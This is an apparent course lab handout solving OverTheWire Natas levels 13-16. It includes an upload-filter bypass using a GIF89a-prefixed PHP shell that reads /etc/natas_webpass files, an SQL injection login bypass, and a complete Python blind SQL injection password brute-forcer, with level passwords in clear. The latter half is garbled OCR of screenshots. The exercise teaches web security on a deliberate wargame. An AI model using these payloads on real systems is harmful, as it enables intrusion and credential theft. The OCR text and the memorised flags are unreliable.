
Laboratory Exercise  – Natas Level 13-16

1. Overview

In this lab exercise, students will learn new skills by setting up the Sublime Text editor with Python and using it to test web applications. Using the Brigante VM environment students will be presented with progressive challenges from the OverTheWire website (Natas) in which they will use previously learned skills to find the Capture the Flag (CTF) flags. This lesson covers levels 13-16. Students will learn to exploit a file upload service, an SQL injection vulnerability, and a blind SQL injection vulnerability. 

2. Resources required

This exercise requires the Brigante VM running in the Cyber Range. 

3. Initial Setup

For this exercise, you will log in to your Cyber Range account and select the Brigante (2020) environment, then click “start” to start your environment and “join” to get to your Linux desktop.

4. Tasks

Task 1: Natas Level 13-14

[IMPORTANT: You should have completed Natas levels 0-13 before proceeding, since this lab builds on the labs from the previous lessons.]

As completed in previous tasks, we want to change the Python code to match our new parameters. Remember to change the syntax in the build output to HTML. 

· Take a look at the screenshot below to check if you have all the parameters correct.
· Save the file as natas13-14.py in the natas folder on your Desktop.
· Build the output.
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This looks very much like the previous level. Except now, we have some sanitation in the code. If the upload file is not a JPEG, then it will be filtered out. Let’s look at the code and see how they are doing this. 

· In a browser, navigate to http://natas13.natas.labs.overthewire.org/index-source.html. Use the username of natas13 and the password retrieved from level 12-13. 

Looking at the screenshot below, we can see the following line of code:  echo “File is not an image”; . This must be where the filetype is filtered. If you look at the line above this line, it appears that the filter is called exif_imagetype. 
[image: ]

Let’s use Google to search for the PHP exif_imagetype function. 

· Using Google, search for php exif_imagetype.
· Click the link that shows the PHP manual page for exif_imagetype.

[image: ]
Source: https://www.php.net/manual/en/function.exif-imagetype.php 

This function reads the first bytes and is checking the signature. This means all we need to do is modify the top of our PHP program to resemble an image signature. 

· Open the file do.php in the Sublime Text editor.
· Modify the script by adding GIF89a on line one and moving the rest of the code to line 2
· Save the file. Make sure you close the do.php file by exiting the do.php tab in your Sublime Text editor. We will need to open and read this file in the next steps, and we cannot if it is open in our editor. 
· Return to the natas13-14.py tab and change the parameters for the request as shown in the screenshot below. 
· Build the output.
	[image: Graphical user interface, application

Description automatically generated]




[image: ]

[image: ]
[image: ]

Success! The file was uploaded. Now all we need to do is repeat the process we did in the last lab for task natas 12-13:

· Comment out the post request (line 10) and uncomment the get request (line 8). 
· Change the url to match the upload location and append it with ?do=cat /etc/natas_webpass/natas14'
· Check the screenshot below (upload location is different) for confirmation of parameters.
· Build the output.
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Voila! Now we have the password for natas14.

Task 2: 14-15

As completed in previous tasks, we want to change the Python code to match our new parameters. 

· Take a close look at the screenshot below to check if you have all the parameters correct.
· Save the file as natas14-15.py.
· Build the output.
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There is not much data in the build output on the main page. Let’s take a look at the source code.

· In the natas14-15 tab, append the url with /index-source.html.
· Build the output.
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This is very difficult to read. Let’s use HTML Deentitize and delete all the br tags with find and replace by doing the following: 

· In the build output tab, press CTRL+SHIFT+P and type StringEncode: HTML Deentitze. Click on this option.
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· Press CTRL+H and type <br /> in the find bar and then hit the replace all button.
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· Press CTRL+H and type  <0xa0> in the find bar and then hit the replace all button. The end result should clean up the php code. 
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This is much easier to read. However, we can make it even better by changing the syntax to php. This will allow us to better see the color codes which help when looking for errors. 

· Press CTRL+SHIFT+P and type syntax php and press enter.
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It looks to be a MySQL database that is not sanitized. This will definitely be a SQL injection vulnerability. The screenshot below shows the major vulnerability here. Let’s use the same exploit we used in Module 7, Lesson 1 with a few minor modifications. 
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· Take a look at the screenshots below and modify your Python request in the natas14-15 tab to match the parameters. The username and password can be anything as we are bypassing this using the SQL query. Note, the screenshot is split in two for legibility. 
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· Build the output and change the build output syntax the html.
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It appears that the -- is not commenting out the SQL query after our injection. We can use other techniques to comment out the query. We can use a  #. We have done this many times in Python. 

· Replace the -- with a #, save the file and build the output.
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This worked! Now we have the password for natas15.

Task 3: Natas 15-16

As completed in previous tasks, we want to change the Python code to match our new parameters. 

· Take a look at the screenshot below to check if you have all the parameters correct.
· Save the file as natas15-16.py.
· Build the output.
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The response shows that we have a form that only checks to see if a user exists. Let’s look at the source.

· In the natas15-16 tab, append the url with /index-source.html.
· Build the output.
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Again, this is hard to read, so we will use HTML Deentitize, delete all the br tags,  and the  <0xa0>  as we did in the last task. 

· In the build output tab, press CTRL+SHIFT+P and type StringEncode: HTML Deentitze. Click on this option.
· Press CTRL+H and type <br /> in the find bar and then hit the replace all button.
· Press CTRL+H and type  <0xa0> in the find bar and then hit the replace all button. The end result should clean up the php code. 
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This looks like another SQL injection. Only this time, we are getting a Boolean response of This user exists or This user does not exist. Let’s see if the user natas16 exists. 

· In the natas15-16 tab, change the parameter as shown below in the screenshot. Don't forget to modify the url line too!
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The PHP code has returned a response indicating the user exists. Now we need to modify the request in a way that will leak data from the user. This is completed easily in SQLmap as done in previous tasks. This VM does not have Sqlmap, but this method can be tried in another VM. Understanding how it can be done in Python, however, will help improve your scripting skills. This is not an advanced Python programming course, so I will provide you with the code and walk you through how it is brute forcing the password. The script will take a moment to start printing as the loop needs to find a character that exists. 

· Copy and paste the code below into the natas15-16 tab.
· [bookmark: _heading=h.gjdgxs]Build the output.

import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''

for char in chars:
	Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
	r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
	if 'exists' in r.text :
	    filtered = filtered + char

for i in range(0,32):
	for char in filtered:
	    Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
	    r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
	    if 'exists' in r.text :
        	passwd = passwd + char
        	print(passwd)
        	break
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Breakdown:
The color is to help with legibility. Purple is the code, black is the explanation. 

import HTTPBasicAuth - 
· Imports the HTTP Basic Auth module that allows for easy HTTP authorization when looping

chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
· Tells the script to use these characters

filtered = ‘’
· Variable to be used to filter out characters when discovered to exist.

passwd = 
· Variable to be used to grab filtered results and print them to the screen

for char in chars:
    Data = {'username' : 'natas16" and password LIKE BINARY "%' + char + '%" #'}
    r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
    if 'exists' in r.text :
        filtered = filtered + char

· This is a for loop that cycles through each character until it finds if it ‘exists’ then this character is filtered out and added to the next loop. 

for i in range(0,32):
    for char in filtered:
        Data = {'username' : 'natas16" and password LIKE BINARY "' + passwd + char + '%" #'}
        r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data = Data)
        if 'exists' in r.text :
            passwd = passwd + char
            print(passwd)
            break

· Another for loop that sets the range to be a maximum of 32 characters (all natas passwords are 32 characters). It then gathers the data from the previous loop and prints to the screen the passwd when the if ‘exists’ is found.

The passwd is an empty string that keeps looping for the next character, adds it to the passwd function and repeats the process until the full 32-character password is found.
 
The screenshot below  is of the script running:
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This particular task would be in the more advanced Python scripting arena. Don’t focus too much on writing these types of scripts on your own. Instead, focus on how to read the script. Learning Python is a skill that comes with time and practice; however, you can research online to discover many scripts that others have written to complete Blind SQL or any vulnerability for that matter. Saving these scripts and modifying them to meet your needs is usually a first step for beginners. Here is a good example of a python blind SQL Injection Shell using Python: 

https://gist.github.com/wcc526/d404c7a95439196756b0.  

[bookmark: _heading=h.fntw5bnqdfl6]In this lesson, we learned how to use Sublime Text and Python to parse information from web applications. In the process, we exploited a file upload service, an SQL injection vulnerability, and a blind SQL injection vulnerability.
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<br /><link stylesheet” href="http://natas.labs.overthewire.org/css/jquery-ui. cssf />
<br /><link stylesheet” href="http://natas. labs.overthewire.org/css/wechall. css¥ />
<br /><script src="http://natas. labs.overthewire.org/js/jquery-1.9.1.js%</script>
<br /><script src="http://natas. labs.overthewire.org/js/jquery-ui.jsi</script>
<br /><script src=http://natas. abs . overthewire.org/js/vechall-data. js></script><script sre="http:
//natas. labs..overthewire.org/js/wechall.jsf</script>
<br /><script>var wechallinfo = { “level": “natas14”, “pass": "<censored>"

};</script></head>
<br /><body>
<br /><hl>natasld</h1>

<br /><div id="content">
<br /><?

<br />if(array_key exists(usernane”, $_REQUEST)) {

<br /> Slink = mysql_connect (*localhost ", ‘natas1a’, *<censored>
i

<br /> mysql_select db(*natasla’, $link);

<br />

<br /> Squery = * from users where usernane
=) _REQUEST[ "username"] . and .$_REQUEST["password"]."\"";

<br /> if(array_key exists("debug”, $_GET)) {

<br /> echo “Executing query: Squery<br>";

<br /> ¥

<br />

<br /> if (mysql_num_rows (mysql_query(squery, $link)) > 0) {

<br /> echo “Successful Togi
n The password for natasls is <censored><br>";

<br /> } else {

<br /> echo "Access deniedi<

bra":
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“index.php" method="POST">

(<br /3Username: <input name="username"><br>
[Sbr_/3password: <input name="password"><br>

x Aa um (= & Find: Kb /> Find Replace
[m] Replace: Find All Replace All
] 42 matches Tab Size: 4 HTVL
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<?

if(array_key exists(“username”,$ REQUEST)){
Slink=nySql_connect(*localhost’, “natasl4’,’<censored>')
mysql_select db('natasld’,slink)

$query="SELECT*fronuserswhereusername=\"".$_REQUEST["username"]."\"andpassword=\"".$_REQUEST|"password"]."\""

if(array_key exists("debug",$ GET)){
echo*Executingquery: squery<br>";

}

if (mysql_num_rows(mysql_query(squery,$link))>0){
echo”successfullogin! Thepasswordfornataslsis<censored><br>";
Yelse{

echo”Accessdenied!<br>";

¥

mysql_close(slink) ;

Yelsel

>
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syntax php|

Set Syntax: PHP.

“href="htt,

+//natas. labs.overthewire.org/css/level. css"
css/jquery-ui.c
wechall.cssH
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<?

if(array_key exists(“username”,$ REQUEST)){
slink=nysql_connect('localhost’, "natas1a’,’<censored>');
mysql_select_db(*natas14*,slink);

$query="SELECT*fromuserswhereusername=\"".$ REQUEST["username"]."\"andpassword=\"".$ REQUEST["password"].

if(array_key exists(“debug*,$ GET)){
jchn”Executingquery isquery<brs*;

if (mysql_num_rows(nysql_query(squery,$link))>0){
echo”successfullogin! Thepasswordfornatas1sis<censored<br>
Jelse{

echo”Accessdenied!<br>";

¥

mysql_close(slink);

Jelse{

2>
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("natas14’,$link)

$ uery:”SELECT*frnmuserswhereusernamE:\“” .$_REQUEST["username"]. "\ "andpassword=\"".$
_REQUEST["password"]."\"";

if(array_key_exists("debug",$ GET)){]

echo”Executingquery: Squery<brs";

}
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4P nawslalspy x| onawsl213py x| dophe x
1 #1/usr/bin/env python
3 import requests
4 import re
5
6 url = 'http://natas14.natas.labs.overthewire.org/
8  #r = requests.get(url, auth =('natasl4’, 'Lg96M10TdfaPyVBkJdjymbl105L6qdl1")
9
10 r = requests.post(url, data = { "username’ : 'ZarRonRoot" OR 1=1--', "password” : "letmein"}, auth
1
2 content = r.text
13

14 print content




image26.png
"letmein"}, auth =('natas14’, 'Lg96M10TdfaPyVBkidjymbllQ5L6qdl1"))




image27.png
<divoe
<br />
<b>Warning</b>: [mysql_nun_rows() expects parameter 1 to be resource, boolean given in|<b>/var/wai/natas/natasld/index.php
</b> on line <h>l¢eﬁb’<br

Access denied!<br><div i
</div>

</body>

content™>

viewsource"><a href="index-source.html">View sourcecode</a></div>
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7 Untitl o-1... | [@ Buildc

d output - Sublime Text (UNREGISTERED)

python2.sublime-bulld v 4> Buidouput Build output Build output

<htal>

<head>
inport requests
inport re <link re

url = <link

<link
r = requests.post(url, data = { <script ></script>
<script S</script>

content = r.text <script ></scripts<

script src= ></script>
14 print content <script>var wechallinfo

}i</script></head>
<body>
<hl>natas14</h1>
<div id= >
Successful login! The password for natasls is
TTKaI7AWG4iDERZtBCEYKVIKRXH1EZRB<b r><div 1
>View sourcecode</a></div>
</div>
</body>
ol is moving /et

[Finished in 375ms]





image29.png
#1/usr/bin/env python

import requests
import re

url = 'http://natasl4.natas. labs.overthewire.org/"

#r = requests.get(url, auth

r = requests.post(url, data = { "usernane"

content = r.text

print content

‘natasl4’, 'Lg96M10TdfaPyVBkJdjymbll05L6qdl1")

‘ZarRonRoot” OR 1=1#', "password”

"letmein"}, auth =('natas14’, 'Lg96H1eTdfaPy
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<div id="content">

Successful login! The password for natasls is

AW OUSCYXTZiONGZ9J5s tVkmxdk39J<br><div id="viewsource"><a href="
index-source.htnl">View sourcecodes/a></div>
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2 Untitl

esktop/natas/natas15-16.py - Sublime Text (UNREGISTERED)

python2.sublime-bulld v 4> Buidouput Build output Build output

<html>

<head>
inport requests

inport re <link re

url = <link

r = requests.get(url, auth =( <link

<script ></script>
<script ></script>
<script ></script><
script src= ></script>
<script>var wechallinfo

content = r.text

14 print conten]

}i</script></head>
<body>
<h1>natas1s</h1>
the snip mode usin dlick the New <div id
button
<form
Usernane: <input
<input type= s
In a future update, Snipping Tool will be moving t0 3 </form>
new home. Try improved features and snip like usual <div id= >View sourcecode</a></div>
th Snip & Sketch or ty the shortcut </div>
findows logo key + </body>
</html>

[Finished in 362ms]
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16

inport requests

url = 'http://natasls.natas. labs.overthewire.org/

requests.get(url, auth =('natasls’, 'AwijwScvxrZiONgZ9J5stNVkmxdk393'))

print content
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<forn action="index.php" method="POST">
Username: <input nane="usernane"><br>

<input type="submit" value="Check existence" />

</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
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requests

re
url = ‘http://natas1s.natas. Labs.overthe index-source. htal

r = requests.get(url, auth =(‘natasls’, ‘TTKaI7AWG4iDERZtBCEYKV7KRXH1EZRB')

content = r.text
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@ Snipping Tool

n a future upd
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o key + Shift + 5
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&1t; htmlsgt S1t; headtqt ; t; 1--&nbsp; This&nbsp; stuf fanbsp; ink

b5p; theanbsp; header&nbsp; has&nbsp;nothinganbsp; tos

thesnbsp; Levelanbsp; - -&gt 1t; Linkenbsp; rel
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s1t; link tylesheet anbsp

href="http://natas. labs.overthewire.org/css/jquery-ui. css"

t;linksnbsp; rel="stylesheet": ttp://natas. labs.overthewire.org/

css/wechall. css"&nbsp; /gt slt;scriptenbsp

src="http://natas.labs.overthewire.org/js/jquery-1.9.1.s"agt;&Lt; /scriptagt

s1t; scriptanbsp; src="http://natas. abs.overthewire.org/js/

jauery-ui. js*6gt;&Lt; /scriptégt; t;scriptanbsp

src=http://natas. labs.overthewire.org/js/wechal 1 -data. js&gt; &1t ; /scriptag
http: //natas. Labs. overthewire.org/js/wechall. js"sqt;61t
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scripts t; /head G1t; bodysg t;h150t; natas15&
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&nbsp; NULL: 967700"
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<?

/
CREATE TABLE ‘users’ (
“username’ varchar(64) DEFAULT NULL,
“password” varchar(64) DEFAULT NULL
)
*/
if(array key exists(“username”, $ REQUEST)) {
slink = nysql_connect(*localhost’, ‘natasls’, ‘<censored>')
mysql_select db('natasls’, slink)

$query = "SELECT * from users where username=\"".$ REQUEST["username"].
e
if(array_key exists(“debug”, $ GET)) {
echo "Exgcuting query: $query<br>"
}

$res = mysql_query(squery, $link)
if(sres) {
if (mysql_num_rows(sres) > 0) {
echo "This user exists.<br>"
} else {
"~ echo "This user doesn't exist.<br>"

}
} else {
echo "Error in query.<br>"
}
mysql_close(slink) ;
} else {
>

<form action="index.php" method="POST">
Username: <input name="username"><br>

<input type="submit" value="Check existence" />
</form>
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«

@ Mozilla Fir

natas15-16.py python2.sublime-bulld

inport requests
import re

url =

r = requests.post(url, data
content = r.text

print conten

2 untitl

Desktop/natas/natas

Deskto

g nat

16.py - Sublime Text (UNREGISTERED)

Build output

<html>
<head>

Build output

<link
<link
<link

<script s

<script

<script sre

script src=
<script>var wechallinfo

<body>

<hl>natasis</h1>

<div ic >

This user exists.<br><div
sourcecode</a></div>
</div>

</body>

</htal>

[Finished in 385ms]

04:00 Cyber Range

Build output

></script>
></script>
></script><
></script>

}i</scripts</heads>
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x
usr/bin/env python

inport requests
import re

url = 'http://natasls.natas.

#r = requests.get(url, auth

labs.overthewire.org/’

=("natas15', 'AwijwScvxrZiONgZ95stNVkmxdk393'))

r = requests.post(url, data

{ "username” : 'natasle’' }, auth = (‘natasls’, 'AwwjOwScvxrZiONgZoJ5stNvkmxdk39]'))

content = r.text

print content
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<body>
<h1>natas1s</h1>

<div id="content">

This user exists.<br><div
sourcecode</a></div>
</div>
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Desktop/natas/natas15-16code.py - Sublime Text (UNREGISTERED)

natas15-16.py Build output Build output Build output
inport requests TRD/1Zra50A1))9
from requests.auth inport HTTPBasicAuth TRD71ZrdSgAT} j9P
TRD71ZrdSgAT} j9Pk
chars = TRD71ZrdSgAT} j9PkP
filtered = TRD71ZrdSgAT) ] 9PKPE
passwd = TRD71ZrdSgAT} j9PKPEU
TRD71ZrdSgAT} j9PKPEUA
for char in chars: TRD71ZrdSgAT} j9PKPEUa0
Data = { 3 TRD71ZrdSgATj j9PKPEUa0L
r = requests.post ( TRD71ZrdSgAT} j9PKPEUaOL f
if | rtext TRD71ZrdSgAT) j9PKPEUaOL fE
filtered = filtered + char TRD71ZrdSgAT) ] 9PKPEUa0 ]
TRD71ZrdSgAT} j9PKPEUaOL fEJH

for i in (0,32) TRD71ZrdSgATj j9PKPEUAOL fEjHq
for char in filtered: TRD71ZrdSgAT} j9PKPEUa0 fEjHqj

Data = { + passwd TRD71ZrdSgAT) 9PKPEUaOL fE jHaj3
r = requests.post( TRD71ZrdSgAT] j9PKPEUA0L fEjHj 32 e ey
if rotext : TRD7iZrdSgAT) j9PKPEUaOL EjHgj32V © snip mode using the Mode button or ik th
passwd = passwd + [Finished in 112.8s]
(passwd)

break @@ sni

Ina future upy ipping Tool will be mo
new home. Try improved features and snip
ip & Sketch (or try the shortcut

key + Shift + 5),

Tz
11/6/2022 L
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% | nawslslecodepy x | nats1213py

inport requests
from requests.auth inport HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
filtered
passud

for char in chars:
Data = {'username’ : 'natasl6" and password LIKE BINARY "%' + char + '%" #'}
r = requests.post(*http://natas15.natas.labs.overthewire.org/index.php?debug*, auth=HTTPBasicAuth(’natasls’, 'Awij@WScvxrz:
if ‘exists' in r.text :
filtered = filtered + char

for i in range(0,32):
for char in filtered:

Data = {'username’ : ‘natasl6" and password LIKE BINARY "' + passwd + char + '%" #'}

r = requests.post( http://natas1s.natas. labs.overthewire.org/index. php2debug’, auth=HTTPBasicAuth('natas1s’, 'Awjousc:

if rexists' in r.text :
passwd = passwd + char
print (passwd)
break
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[Finished in 97.3s]
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& consolevirginiacyberrange " Y I . % 0O “Updat

blime Text (UNREGISTERED)

python2.sublime.-bulld Build output Build output Build output

<htal>
<head>
requests <i-- This stuff in the header has nothing to do with the level
<link rel="stylesheet" type="text/css"
href="http://natas. abs..overthewire.org/css/level.css">
http://natas13.natas. labs. overthewire.org/ <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/
jquery-ui.css” />
r = requests.get(url, auth =('natas13‘, 'lW3jYRI02ZKDBbSVtQBU1f6eDROGWE9') stylesheet” href="http://natas.labs.overthewire.org/css/
content = r.text /natas. labs . overthewire.org/js/jquery-1.9.1.js"></script>
://natas. labs . overthewire.org/js/jquery-ui. js*></script>
<script src=http://natas.labs.overthewire.org/js/
wechall-data. js></script><script src="http://natas.labs.overthewire.org/js/
wechall. js"></script>
<script>var wechallinfo = { *level": "natas13", "pass":
“1W3)YRI02ZKDBbBVQBU16eDROBWE 9" };</script></head>
<body>
<hl>natasi3</hl>
New . <div id="content">
0 For security reasons, we now only accept image files!<br/><br/>

print content

ne New

<form enctype="nultipart/forn-data" action="index.php" method="POST">
hidden” name="MAX FILE SIZE" value="1000" />
hidden* name="filename* value="hhcugecejb.jpg" />
ol will be moving to a Choose a JPEG to upload (max 1KB):<br/>
5 and snip like usual <input name="uploadedfile" type="file" /><br />
subnit* value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.htnl">View sourcecode</a></div>
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usr/bin/env python

import requests
import re

url = 'http://natasl3.natas.labs.overthewire.org/"

r = requests.get(url, auth =('natasl3’, 'jmLTY0qiPZBbaKc9341cqPQZBIV7HQbY'))

#r = requests.post(url, files = {"uploadedfile" : open('do.php', 'rb')}, data ={ "filename"
content = r.text

: "do.y
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